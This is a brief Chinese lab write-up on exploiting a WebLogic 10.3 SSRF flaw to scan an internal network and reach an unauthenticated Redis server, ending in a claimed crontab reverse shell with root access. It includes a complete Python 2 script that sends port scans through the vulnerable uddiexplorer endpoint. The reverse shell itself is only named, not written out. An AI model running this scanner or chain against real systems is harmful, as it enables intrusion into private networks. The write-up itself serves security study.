ssrf内网横向redis getshell

漏洞环境

Weblogic 10.3版本
内网ip网段：172.26.0.0/24

ssrf 漏洞验证

此处可以利用有回显和无回显漏洞验证

漏洞利用：

• 内网探测
  此处编写python脚本自动化扫描

import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.124.7:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.26.0"
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

经探测内网存在redis数据库服务6379开放

redis 未授权

• crontab计划任务反弹shell

  至此，通过外网weblogic ssrf漏洞拿到内网redis数据库主机root权限。
